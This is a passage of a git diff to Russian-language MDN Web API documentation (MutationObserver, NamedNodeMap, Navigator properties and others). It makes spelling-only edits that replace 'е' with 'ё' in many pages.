+22,7 @@ translation_of: Web/API/MouseEvent/screenX <h4 id="HTML">HTML</h4> -<pre class="brush: html"><p>Подвигайте мышью, чтобы увидеть положение ее курсора.</p> +<pre class="brush: html"><p>Подвигайте мышью, чтобы увидеть положение её курсора.</p> <p id="screen-log"></p></pre> <h4 id="JavaScript">JavaScript</h4> diff --git a/files/ru/web/api/mutationobserver/index.html b/files/ru/web/api/mutationobserver/index.html index 6afd425cc2..3f0fbf8ca5 100644 --- a/files/ru/web/api/mutationobserver/index.html +++ b/files/ru/web/api/mutationobserver/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/MutationObserver <dl> <dt>{{domxref("MutationObserver.MutationObserver", "MutationObserver()")}}</dt> - <dd>Создает и возвращает новый <code>MutationObserver</code>, который вызовет определенную колбэк-функцию при изменении в DOM.</dd> + <dd>Создает и возвращает новый <code>MutationObserver</code>, который вызовет определённую колбэк-функцию при изменении в DOM.</dd> </dl> <h2 id="Параметры">Параметры</h2> @@ -91,7 +91,7 @@ translation_of: Web/API/MutationObserver <tr> <td><code>attributeFilter</code></td> <td> - <p>Устанавливает массив названий атрибутов (без указания пространства имен), если требуется наблюдать за изменениями конкретных атрибутов. </p> + <p>Устанавливает массив названий атрибутов (без указания пространства имён), если требуется наблюдать за изменениями конкретных атрибутов. </p> </td> </tr> </tbody> @@ -126,7 +126,7 @@ const callback = function(mutationsList, observer) { } }; -// Создаем<code> </code>экземпляр наблюдателя с указанной функцией колбэка +// Создаём<code> </code>экземпляр наблюдателя с указанной функцией колбэка const observer = new MutationObserver(callback); // Начинаем наблюдение за настроенными изменениями целевого элемента<code> diff --git a/files/ru/web/api/namednodemap/index.html b/files/ru/web/api/namednodemap/index.html index 2ea97e0010..d681c41a11 100644 --- a/files/ru/web/api/namednodemap/index.html +++ b/files/ru/web/api/namednodemap/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/NamedNodeMap --- <div>{{APIRef("DOM")}}</div> -<p>Интерфейс <code><strong>NamedNodeMap</strong></code> представляет собой коллекцию объектов {{domxref("Attr")}}. Объекты внутри <code>NamedNodeMap</code> не находятся в каком-либо определенном порядке, в отличие от {{domxref("NodeList")}}, хотя они могут быть доступны при использовании индекса, как в массиве.</p> +<p>Интерфейс <code><strong>NamedNodeMap</strong></code> представляет собой коллекцию объектов {{domxref("Attr")}}. Объекты внутри <code>NamedNodeMap</code> не находятся в каком-либо определённом порядке, в отличие от {{domxref("NodeList")}}, хотя они могут быть доступны при использовании индекса, как в массиве.</p> <p>Объект NamedNodeMap является "живым" и, таким образом, будет автоматически обновляться, если изменения будут внесены в его содержимое внутри или в другом месте.</p> @@ -36,11 +36,11 @@ translation_of: Web/API/NamedNodeMap <dt>{{domxref("NamedNodeMap.item()")}}</dt> <dd>Возвращает значение {{domxref ("Attr")}} по заданному индексу или null, если индекс больше или равен числу узлов.</dd> <dt>{{domxref("NamedNodeMap.getNamedItemNS()")}}</dt> - <dd>Возвращает {{domxref ("Attr")}}, идентифицированный пространством имен и связанным локальным именем.</dd> + <dd>Возвращает {{domxref ("Attr")}}, идентифицированный пространством имён и связанным локальным именем.</dd> <dt>{{domxref("NamedNodeMap.setNamedItemNS()")}}</dt> - <dd>Заменяет или добавляет {{domxref ("Attr")}}, идентифицированный в объекте NamedNodeMap данным пространством имен и связанным локальным именем.</dd> + <dd>Заменяет или добавляет {{domxref ("Attr")}}, идентифицированный в объекте NamedNodeMap данным пространством имён и связанным локальным именем.</dd> <dt>{{domxref("NamedNodeMap.removeNamedItemNS()")}}</dt> - <dd>Удаляет {{domxref ("Attr")}}, идентифицированный данным пространством имен и связанным локальным именем.</dd> + <dd>Удаляет {{domxref ("Attr")}}, идентифицированный данным пространством имён и связанным локальным именем.</dd> </dl> <h2 id="Specifications">Specifications</h2> @@ -77,7 +77,7 @@ translation_of: Web/API/NamedNodeMap <h2 id="Browser_compatibility">Browser compatibility</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> <p>{{Compat("api.NamedNodeMap")}}</p> diff --git a/files/ru/web/api/navigation_timing_api/index.html b/files/ru/web/api/navigation_timing_api/index.html index 444e3f47b5..be889bd69f 100644 --- a/files/ru/web/api/navigation_timing_api/index.html +++ b/files/ru/web/api/navigation_timing_api/index.html @@ -69,7 +69,7 @@ translation_of: Web/API/Navigation_timing_API <tr> <td><a name="const_next_no_duplicate"><code>TYPE_RELOAD</code></a></td> <td>1</td> - <td>Навигация путем перегрузки страницы или выполнения метода location.reload().</td> + <td>Навигация путём перегрузки страницы или выполнения метода location.reload().</td> </tr> <tr> <td><a name="const_prev"><code>TYPE_BACK_FORWARD</code></a></td> diff --git a/files/ru/web/api/navigator/battery/index.html b/files/ru/web/api/navigator/battery/index.html index 07f8e7f84b..4ca4b15feb 100644 --- a/files/ru/web/api/navigator/battery/index.html +++ b/files/ru/web/api/navigator/battery/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/battery --- <p>{{ ApiRef("Battery API") }}{{deprecated_header}}</p> -<p>Свойство <code>battery</code> только для чтения возвращающее {{DOMxRef("BatteryManager")}} которое дает информацию об уровне заряда системной батареи; предоставляет также некоторые новые события, <span id="result_box" lang="ru"><span class="hps">которые вы</span> <span class="hps">можете</span> <span class="hps">обрабатывать</span> <span class="hps">и контролируя состояние батареи</span><span>.</span></span>Оно реализует <a href="/en-US/docs/WebAPI/Battery_Status">API состояния батареи</a>;<span id="result_box" lang="ru"><span class="hps"> смотрите</span> <span class="hps">документацию</span> <span class="hps">для получения дополнительной информации</span><span>, руководство</span> <span class="hps">по использованию</span> <span class="hps">API</span> <span class="hps">и примеры кода</span><span>.</span></span></p> +<p>Свойство <code>battery</code> только для чтения возвращающее {{DOMxRef("BatteryManager")}} которое даёт информацию об уровне заряда системной батареи; предоставляет также некоторые новые события, <span id="result_box" lang="ru"><span class="hps">которые вы</span> <span class="hps">можете</span> <span class="hps">обрабатывать</span> <span class="hps">и контролируя состояние батареи</span><span>.</span></span>Оно реализует <a href="/en-US/docs/WebAPI/Battery_Status">API состояния батареи</a>;<span id="result_box" lang="ru"><span class="hps"> смотрите</span> <span class="hps">документацию</span> <span class="hps">для получения дополнительной информации</span><span>, руководство</span> <span class="hps">по использованию</span> <span class="hps">API</span> <span class="hps">и примеры кода</span><span>.</span></span></p> <div class="note"> <p>Свойство <code>battery</code> устарело и было заменено {{DOMxRef("Navigator.getBattery()")}}. Метод возвращает {{DOMxRef("Promise")}}. Хотя оно частично поддерживается.</p> diff --git a/files/ru/web/api/navigator/cookieenabled/index.html b/files/ru/web/api/navigator/cookieenabled/index.html index ee1d6c8fcb..d04a4659e9 100644 --- a/files/ru/web/api/navigator/cookieenabled/index.html +++ b/files/ru/web/api/navigator/cookieenabled/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/Navigator/cookieEnabled <h2 id="Example" name="Example">Пример</h2> <pre class="brush: js">if (!navigator.cookieEnabled) { - // пусть пользователь знает, что включенные куки делают страницу более полезной. + // пусть пользователь знает, что включённые куки делают страницу более полезной. </pre> <h2 id="Совместимость_в_браузере">Совместимость в браузере</h2> diff --git a/files/ru/web/api/navigator/geolocation/index.html b/files/ru/web/api/navigator/geolocation/index.html index c459c40672..7f58143885 100644 --- a/files/ru/web/api/navigator/geolocation/index.html +++ b/files/ru/web/api/navigator/geolocation/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/geolocation --- <p>{{ APIRef("Geolocation API") }}</p> -<p>Свойство <strong><code>Navigator.geolocation</code></strong> только для чтения, возвращающие объект {{domxref("Geolocation")}}, который дает веб контенту доступ к месторасположению устройства. Это позволяет веб-сайту или приложению предложить индивидуальный результат основанный на месторасположении пользователя.</p> +<p>Свойство <strong><code>Navigator.geolocation</code></strong> только для чтения, возвращающие объект {{domxref("Geolocation")}}, который даёт веб контенту доступ к месторасположению устройства. Это позволяет веб-сайту или приложению предложить индивидуальный результат основанный на месторасположении пользователя.</p> <div class="note"> <p><span id="result_box" lang="ru"><strong><span class="hps">Примечание</span><span>:</span> </strong><span class="hps">По соображениям</span> <span class="hps">безопасности</span><span>,</span> <span class="hps">когда</span> <span class="hps">веб-страница</span> <span class="hps">пытается</span> <span class="hps">получить доступ к информации</span> <span class="hps">о местоположении,</span> <span class="hps">пользователь получает уведомление</span> <span class="hps">с просьбой</span> <span class="hps">дать разрешение</span><span>.</span></span><span id="result_box" lang="ru"><span class="hps"> Помните, что</span> <span class="hps">каждый браузер</span> <span class="hps">имеет свои</span> <span class="hps">собственные правила</span> <span class="hps">и методы</span> <span class="hps">для запроса</span> <span class="hps">этого разрешения</span><span>.</span></span></p> diff --git a/files/ru/web/api/navigator/getgamepads/index.html b/files/ru/web/api/navigator/getgamepads/index.html index bc5200cbe1..6864d08b0f 100644 --- a/files/ru/web/api/navigator/getgamepads/index.html +++ b/files/ru/web/api/navigator/getgamepads/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/getGamepads --- <p>{{APIRef("Gamepad API")}}{{SeeCompatTable}}</p> -<p><strong><code>Navigator.getGamepads()</code></strong> метод, возвращающий массив {{ domxref("Gamepad") }} объектов, по одному для каждого геймпада, подключенному к устройству.</p> +<p><strong><code>Navigator.getGamepads()</code></strong> метод, возвращающий массив {{ domxref("Gamepad") }} объектов, по одному для каждого геймпада, подключённому к устройству.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/navigator/getvrdisplays/index.html b/files/ru/web/api/navigator/getvrdisplays/index.html index 4c37427910..cb4f67d313 100644 --- a/files/ru/web/api/navigator/getvrdisplays/index.html +++ b/files/ru/web/api/navigator/getvrdisplays/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/getVRDisplays --- <div>{{DefaultAPISidebar("WebVR API")}}{{SeeCompatTable}}</div> -<p>Метод <strong><code>getVRDisplays()</code></strong> интерфейса {{domxref("Navigator")}} возвращает объект типа <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a>, из которого можно получить массив объектов типа {{domxref("VRDisplay")}}, являющихся отображением любого доступного из подключенных к компьютеру VR устройств.</p> +<p>Метод <strong><code>getVRDisplays()</code></strong> интерфейса {{domxref("Navigator")}} возвращает объект типа <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a>, из которого можно получить массив объектов типа {{domxref("VRDisplay")}}, являющихся отображением любого доступного из подключённых к компьютеру VR устройств.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/navigator/index.html b/files/ru/web/api/navigator/index.html index b653f5af33..136e313b2c 100644 --- a/files/ru/web/api/navigator/index.html +++ b/files/ru/web/api/navigator/index.html @@ -33,7 +33,7 @@ translation_of: Web/API/Navigator <dt>{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}</dt> <dd>Возвращает {{domxref("Geolocation")}} объект, позволяющий получить доступ к местоположению устройства.</dd> <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Возвращает {{domxref("Boolean")}} флаг, показывающий включен ли в браузере java или нет.</dd> + <dd>Возвращает {{domxref("Boolean")}} флаг, показывающий включён ли в браузере java или нет.</dd> <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt> <dd>Возвращает {{domxref ("DOMString")}}, представляющий предпочитаемый пользователем язык, как правило это язык пользовательского интерфейса браузера. Значение <code>null</code> возвращается, когда язык неизвестен.</dd> <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt> @@ -106,7 +106,7 @@ translation_of: Web/API/Navigator <dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline("1.7.8")}} {{obsolete_inline("9.0")}} {{experimental_inline}}</dt> <dd>Возвращает <code>false</code>. JavaScript taint/untaint функции отключены в JavaScript 1.2.</dd> <dt>{{domxref("Navigator.vibrate()")}} {{gecko_minversion_inline("11.0")}}</dt> - <dd>Причина вибрации устройства с поддержкой ее. Не делает ничего, если нет поддержки вибрации.</dd> + <dd>Причина вибрации устройства с поддержкой её. Не делает ничего, если нет поддержки вибрации.</dd> </dl> <h3 id="Specification" name="Specification">Не стандартизированные</h3> @@ -119,5 +119,5 @@ translation_of: Web/API/Navigator <dt>{{domxref("window.navigator.preference", "navigator.preference")}} {{obsolete_inline("2.0")}} {{non-standard_inline}}</dt> <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Устанавливает</span> <span class="hps">предпочтение</span> <span class="hps">пользователя</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Этот метод доступен</span> <a href="http://www.faqts.com/knowledge_base/view.phtml/aid/1608/fid/125/lang/en">только для привилегированного кода</a> <span class="hps">и</span> <span class="hps">является устаревшим</span><span>;</span></span> вы должны использовать вместо него XPCOM <a href="/en-US/docs/Preferences_API" title="Preferences_API">Preferences API</a>.</dd> <dt>{{domxref("window.navigator.requestWakeLock", "navigator.requestWakeLock")}} {{non-standard_inline}}</dt> - <dd>Запрос установки блокировки пробуждения для ресурса. Блокировка пробуждения препятствует определенной части устройства включится автоматически.</dd> + <dd>Запрос установки блокировки пробуждения для ресурса. Блокировка пробуждения препятствует определённой части устройства включится автоматически.</dd> </dl> diff --git a/files/ru/web/api/navigator/mediadevices/index.html b/files/ru/web/api/navigator/mediadevices/index.html index 2e8d3aaf0c..fc482a99f1 100644 --- a/files/ru/web/api/navigator/mediadevices/index.html +++ b/files/ru/web/api/navigator/mediadevices/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/mediaDevices --- <div>{{APIRef("Media Capture and Streams")}}</div> -<p>Свойство <strong><code>Navigator.mediaDevices</code></strong> только для чтения, возвращает объект {{domxref("MediaDevices")}}, который предоставляет доступ к подключенным медиа-устройствам ввода, таким как камера и микрофон, а также совместное использование экрана.</p> +<p>Свойство <strong><code>Navigator.mediaDevices</code></strong> только для чтения, возвращает объект {{domxref("MediaDevices")}}, который предоставляет доступ к подключённым медиа-устройствам ввода, таким как камера и микрофон, а также совместное использование экрана.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/navigator/registerprotocolhandler/index.html b/files/ru/web/api/navigator/registerprotocolhandler/index.html index a09dc87fea..b21f29f39c 100644 --- a/files/ru/web/api/navigator/registerprotocolhandler/index.html +++ b/files/ru/web/api/navigator/registerprotocolhandler/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Navigator/registerProtocolHandler <p>Позволяет веб-сайтам зарегистрировать себя как возможный обработчик для конкретных протоколов.</p> -<p><span id="result_box" lang="ru"><span class="hps">По соображениям</span> <span class="hps">безопасности</span><span>,</span> <span class="hps">по умолчанию</span><span>,</span> <span class="hps">веб-сайты могут</span> <span class="hps">зарегистрировать только</span> <span class="hps">обработчики протокола</span> <span class="hps">для себя</span> <span class="hps">-</span> <span class="hps">домен</span> <span class="hps">и протокол</span> <span class="hps">обработчика</span> <span class="hps">должны совпадать с</span> текущим <span class="hps">сайтом.</span></span> Тем не менее, пользователи могут установить предпочтение в Firefox, разрешающее перекрестную обработку веб-сайтов в настройках <code>gecko.handlerService.allowRegisterFromDifferentHost</code> установив <code>true</code> в about:config.</p> +<p><span id="result_box" lang="ru"><span class="hps">По соображениям</span> <span class="hps">безопасности</span><span>,</span> <span class="hps">по умолчанию</span><span>,</span> <span class="hps">веб-сайты могут</span> <span class="hps">зарегистрировать только</span> <span class="hps">обработчики протокола</span> <span class="hps">для себя</span> <span class="hps">-</span> <span class="hps">домен</span> <span class="hps">и протокол</span> <span class="hps">обработчика</span> <span class="hps">должны совпадать с</span> текущим <span class="hps">сайтом.</span></span> Тем не менее, пользователи могут установить предпочтение в Firefox, разрешающее перекрёстную обработку веб-сайтов в настройках <code>gecko.handlerService.allowRegisterFromDifferentHost</code> установив <code>true</code> в about:config.</p> <p><span id="result_box" lang="ru"><span class="hps">Расширения могут</span> <span class="hps">регистрировать обработчики</span> <span class="hps">протоколов</span><span>, направленные</span> <span class="hps">другие сайты</span><span>: </span></span>см. "Смотрите также" раздел как использовать их с XPCOM.</p> diff --git a/files/ru/web/api/navigator/vibrate/index.html b/files/ru/web/api/navigator/vibrate/index.html index 691330d85e..4736346bb2 100644 --- a/files/ru/web/api/navigator/vibrate/index.html +++ b/files/ru/web/api/navigator/vibrate/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Navigator/vibrate <p>Метод <strong><code>Navigator.vibrate()</code></strong> пульсирует вибрационным оборудованием на устройстве, <span id="result_box" lang="ru"><span class="hps">если</span> <span class="hps">такое аппаратное обеспечение</span> <span class="hps">существует. Если устройство не поддерживает вибрацию, этот метод не имеет ни какого эффекта.</span></span> Если шаблон вибрации уже в процессе выполнения, когда метод вызван, предыдущий шаблон останавливается и вместо него начинается новый.</p> -<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">метод</span> <span class="hps">не в состоянии</span> <span class="hps">вибрировать</span> <span class="hps">из-за</span> <span class="hps">недействительных</span> <span class="hps">параметров</span><span>,</span></span> он вернет <code>false</code>, иначе вернет <code>true</code>. Если шаблон ведет к слишком длинной вибрации, он усекается: <span id="result_box" lang="ru"><span class="hps">максимальная длина</span> <span class="hps">зависит</span> <span class="hps">от</span> <span class="hps">конкретной реализации</span><span>.</span></span></p> +<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">метод</span> <span class="hps">не в состоянии</span> <span class="hps">вибрировать</span> <span class="hps">из-за</span> <span class="hps">недействительных</span> <span class="hps">параметров</span><span>,</span></span> он вернёт <code>false</code>, иначе вернёт <code>true</code>. Если шаблон ведёт к слишком длинной вибрации, он усекается: <span id="result_box" lang="ru"><span class="hps">максимальная длина</span> <span class="hps">зависит</span> <span class="hps">от</span> <span class="hps">конкретной реализации</span><span>.</span></span></p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -16,7 +16,7 @@ translation_of: Web/API/Navigator/vibrate <dl> <dt><em>pattern</em></dt> - <dd><span class="short_text" id="result_box" lang="ru">Определяет <span class="hps">шаблон</span> <span class="hps">вибрации и</span> <span class="hps">интервал паузы</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Значение</span> <span class="hps">указывает на</span> <span class="hps">число миллисекунд</span><span> </span><span class="hps">вибрации</span> <span class="hps">или паузы</span>, <span class="hps">при чередовании</span></span>. <span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">указать либо</span> <span class="hps">одно значение</span> <span class="atn hps">(</span><span>вибрировать</span> <span class="hps">постоянно</span> <span class="hps">определенное</span> <span class="hps">количество миллисекунд</span><span>) или</span> <span class="hps">массив значений</span>, <span class="hps">поочередно</span>: <span class="hps">вибрировать</span><span>,</span> <span class="hps">пауза</span><span>, затем снова</span> <span class="hps">вибрировать</span><span class="hps">.</span></span> См. <a href="/en-US/docs/WebAPI/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibration API</a> для уточнения деталей.</dd> + <dd><span class="short_text" id="result_box" lang="ru">Определяет <span class="hps">шаблон</span> <span class="hps">вибрации и</span> <span class="hps">интервал паузы</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Значение</span> <span class="hps">указывает на</span> <span class="hps">число миллисекунд</span><span> </span><span class="hps">вибрации</span> <span class="hps">или паузы</span>, <span class="hps">при чередовании</span></span>. <span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">указать либо</span> <span class="hps">одно значение</span> <span class="atn hps">(</span><span>вибрировать</span> <span class="hps">постоянно</span> <span class="hps">определённое</span> <span class="hps">количество миллисекунд</span><span>) или</span> <span class="hps">массив значений</span>, <span class="hps">поочерёдно</span>: <span class="hps">вибрировать</span><span>,</span> <span class="hps">пауза</span><span>, затем снова</span> <span class="hps">вибрировать</span><span class="hps">.</span></span> См. <a href="/en-US/docs/WebAPI/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibration API</a> для уточнения деталей.</dd> </dl> <p>Переданное значение 0 или пустой массив, или массив содержащий все нули отменяет любой шаблон вибрации запущенный в текущий момент.</p> diff --git a/files/ru/web/api/navigatorid/platform/index.html b/files/ru/web/api/navigatorid/platform/index.html index bbed801cd9..37e7bcda2d 100644 --- a/files/ru/web/api/navigatorid/platform/index.html +++ b/files/ru/web/api/navigatorid/platform/index.html @@ -12,7 +12,7 @@ translation_of: Web/API/NavigatorID/platform --- <p>{{ APIRef("HTML DOM") }}</p> -<p>Возвращает строку, показывающую платформу браузера. <span id="result_box" lang="ru"><span>Спецификация позволяет</span> <span class="hps">браузерам</span> <span class="hps">всегда возвращает</span> <span class="hps">пустую строку</span><span>,</span> <span class="hps">так что не стоит</span> <span class="hps">полагаться</span> <span class="hps">на это свойство</span><span>, чтобы получить</span> <span class="hps">надежный ответ</span><span>.</span></span></p> +<p>Возвращает строку, показывающую платформу браузера. <span id="result_box" lang="ru"><span>Спецификация позволяет</span> <span class="hps">браузерам</span> <span class="hps">всегда возвращает</span> <span class="hps">пустую строку</span><span>,</span> <span class="hps">так что не стоит</span> <span class="hps">полагаться</span> <span class="hps">на это свойство</span><span>, чтобы получить</span> <span class="hps">надёжный ответ</span><span>.</span></span></p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/navigatorid/product/index.html b/files/ru/web/api/navigatorid/product/index.html index 65aa5faa88..5bbcebbba1 100644 --- a/files/ru/web/api/navigatorid/product/index.html +++ b/files/ru/web/api/navigatorid/product/index.html @@ -29,14 +29,14 @@ function prod() { <button onclick="prod();">product</button> <div id="d"> </div> -<!-- вернет "Gecko" --> +<!-- вернёт "Gecko" --> </pre> <h2 id="Notes" name="Notes">Примечание</h2> -<p>В браузерах на основе Gecko <code>product</code> соответствует части полной строки агента пользователя которая идет первой после платформы. В пользовательском агенте Netscape 6.1, к примеру, <code>product</code> это "Gecko" а полная строка пользовательского агента будет: <code>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1</code></p> +<p>В браузерах на основе Gecko <code>product</code> соответствует части полной строки агента пользователя которая идёт первой после платформы. В пользовательском агенте Netscape 6.1, к примеру, <code>product</code> это "Gecko" а полная строка пользовательского агента будет: <code>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1</code></p> -<p>В браузере на основе WebKit <code>product </code>вернет "<code>Gecko</code>", хотя часть полной строки пользовательского агента непосредственно после после платформы на самом деле следующая: <code>(KHTML, like Gecko)</code>.</p> +<p>В браузере на основе WebKit <code>product </code>вернёт "<code>Gecko</code>", хотя часть полной строки пользовательского агента непосредственно после после платформы на самом деле следующая: <code>(KHTML, like Gecko)</code>.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/navigatorid/taintenabled/index.html b/files/ru/web/api/navigatorid/taintenabled/index.html index 528756b317..14a0dcf309 100644 --- a/files/ru/web/api/navigatorid/taintenabled/index.html +++ b/files/ru/web/api/navigatorid/taintenabled/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/NavigatorID/taintEnabled <p>Метод<code><strong> </strong></code><strong><code>NavigatorID.taintEnabled()</code></strong> всегда возвращает <code>false</code>.</p> -<div class="note"><span id="result_box" lang="ru"><strong><span class="hps">Примечание</span><span>:</span></strong> </span>Taint <span lang="ru"><span class="hps">был</span> <span class="hps">метод защиты</span> <span class="hps">используемый в</span> <span class="hps">JavaScript 1.2</span><span>.</span> <span class="hps">Он давно</span> <span class="hps">был удален</span><span>;</span> <span class="hps">этот метод</span> <span class="hps">остается</span> <span class="hps">только</span> <span class="hps">для поддержания</span> <span class="hps">совместимости</span> <span class="hps">с очень</span> <span class="hps">старыми скриптами</span><span>.</span></span></div> +<div class="note"><span id="result_box" lang="ru"><strong><span class="hps">Примечание</span><span>:</span></strong> </span>Taint <span lang="ru"><span class="hps">был</span> <span class="hps">метод защиты</span> <span class="hps">используемый в</span> <span class="hps">JavaScript 1.2</span><span>.</span> <span class="hps">Он давно</span> <span class="hps">был удалён</span><span>;</span> <span class="hps">этот метод</span> <span class="hps">остаётся</span> <span class="hps">только</span> <span class="hps">для поддержания</span> <span class="hps">совместимости</span> <span class="hps">с очень</span> <span class="hps">старыми скриптами</span><span>.</span></span></div> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/navigatorid/useragent/index.html b/files/ru/web/api/navigatorid/useragent/index.html index 952c7aca04..b28e5c9c50 100644 --- a/files/ru/web/api/navigatorid/useragent/index.html +++ b/files/ru/web/api/navigatorid/useragent/index.html @@ -33,7 +33,7 @@ Application-Name Application-Name-version <h2 id="Notes" name="Notes">Примечание</h2> -<p><span id="result_box" lang="ru"><span class="hps">Идентификация</span> <span class="hps">браузера</span> <span class="hps">на основе</span> <span class="hps">обнаружения</span> <span class="hps">строки агента пользователя</span> <span class="hps">является <strong>ненадежной</strong></span> <span class="hps">и <strong>не</strong></span><strong> </strong><span class="hps"><strong><strong>рекомендуется</strong>,</strong> так как строка</span> <span class="hps">пользователь</span><span class="hps">ского агента</span> <span class="hps">может быть изменена пользователем</span><span>.</span></span> Например:</p> +<p><span id="result_box" lang="ru"><span class="hps">Идентификация</span> <span class="hps">браузера</span> <span class="hps">на основе</span> <span class="hps">обнаружения</span> <span class="hps">строки агента пользователя</span> <span class="hps">является <strong>ненадёжной</strong></span> <span class="hps">и <strong>не</strong></span><strong> </strong><span class="hps"><strong><strong>рекомендуется</strong>,</strong> так как строка</span> <span class="hps">пользователь</span><span class="hps">ского агента</span> <span class="hps">может быть изменена пользователем</span><span>.</span></span> Например:</p> <ul> <li>В Firefox, вы можете изменить предпочтение {{pref("general.useragent.override")}} в <code>about:config</code>. Некоторые расширения делают это; Однако это изменяет только отправляемый заголовок HTTP, и не влияет на обнаружение браузера выполняемым кодом JavaScript.</li> diff --git a/files/ru/web/api/navigatorlanguage/language/index.html b/files/ru/web/api/navigatorlanguage/language/index.html index 6d1c542e1b..4576e7e207 100644 --- a/files/ru/web/api/navigatorlanguage/language/index.html +++ b/files/ru/web/api/navigatorlanguage/language/index.html @@ -65,7 +65,7 @@ translation_of: Web/API/NavigatorLanguage/language <td> <p>{{ CompatGeckoDesktop(1.0) }}</p> - <p>До Gecko 2.0 {{ geckoRelease("2.0") }}, значение этого свойства было частью строки пользовательского агента, таким как передает {{ domxref("window.navigator.userAgent", "navigator.userAgent") }}.</p> + <p>До Gecko 2.0 {{ geckoRelease("2.0") }}, значение этого свойства было частью строки пользовательского агента, таким как передаёт {{ domxref("window.navigator.userAgent", "navigator.userAgent") }}.</p> <p>Начиная с Gecko 5.0 {{ geckoRelease("5.0") }}, значение этого свойства основано на значении <code>Accept-Language</code> <a href="/en/HTTP/Headers" title="en/HTTP/Headers">HTTP header</a>.</p> </td> diff --git a/files/ru/web/api/navigatorlanguage/languages/index.html b/files/ru/web/api/navigatorlanguage/languages/index.html index aa983c642e..b088e29ea3 100644 --- a/files/ru/web/api/navigatorlanguage/languages/index.html +++ b/files/ru/web/api/navigatorlanguage/languages/index.html @@ -107,7 +107,7 @@ navigator.languages //["en-US", "zh-CN", "ja-JP"] </table> </div> -<p>[1]В Firefox, the <code>navigator.languages</code> значение свойства берется из <code>intl.accept_languages</code> предписаний.</p> +<p>[1]В Firefox, the <code>navigator.languages</code> значение свойства берётся из <code>intl.accept_languages</code> предписаний.</p> <h2 id="See_also" name="See_also">Смотрите также</h2> diff --git a/files/ru/web/api/navigatoronline/online/index.html b/files/ru/web/api/navigatoronline/online/index.html index 1620695b45..35c66e47fa 100644 --- a/files/ru/web/api/navigatoronline/online/index.html +++ b/files/ru/web/api/navigatoronline/online/index.html @@ -5,15 +5,15 @@ translation_of: Web/API/NavigatorOnLine/onLine --- <p>{{ApiRef("HTML DOM")}}</p> -<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Возвращает</span> <span class="hps">сетевой статус</span> <span class="hps">браузера</span><span>.</span></span> Свойство возвращает логическое (boolean) значение, <code>true</code> означает online и <code>false</code> означает offline.<span id="result_box" lang="ru"><span>Свойство</span> <span class="hps">обновляется</span> <span class="hps">всякий раз, когда</span> <span class="hps">способность</span> <span class="hps">браузера</span> <span class="hps">к подключению к</span> <span class="hps">сети</span> <span class="hps">изменится</span><span>.</span></span> <span id="result_box" lang="ru"><span>Обновление происходит тогда</span><span>, когда</span> <span class="hps">пользователь следует по</span> <span class="hps">ссылке или</span> <span class="hps">когда</span> <span class="hps">скрипт</span> <span class="hps">запрашивает</span> <span class="hps">удаленную страницу</span></span>. <span id="result_box" lang="ru"><span class="hps">Например,</span> свойство<span class="hps"> должно</span> <span class="hps">вернуть <code>false</code></span><span>, когда</span> <span class="hps">пользователь кликает по</span> <span class="hps">ссылке,</span> <span class="hps">вскоре после</span> <span class="hps">потери</span> <span class="hps">подключения к интернету</span><span>.</span></span></p> +<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Возвращает</span> <span class="hps">сетевой статус</span> <span class="hps">браузера</span><span>.</span></span> Свойство возвращает логическое (boolean) значение, <code>true</code> означает online и <code>false</code> означает offline.<span id="result_box" lang="ru"><span>Свойство</span> <span class="hps">обновляется</span> <span class="hps">всякий раз, когда</span> <span class="hps">способность</span> <span class="hps">браузера</span> <span class="hps">к подключению к</span> <span class="hps">сети</span> <span class="hps">изменится</span><span>.</span></span> <span id="result_box" lang="ru"><span>Обновление происходит тогда</span><span>, когда</span> <span 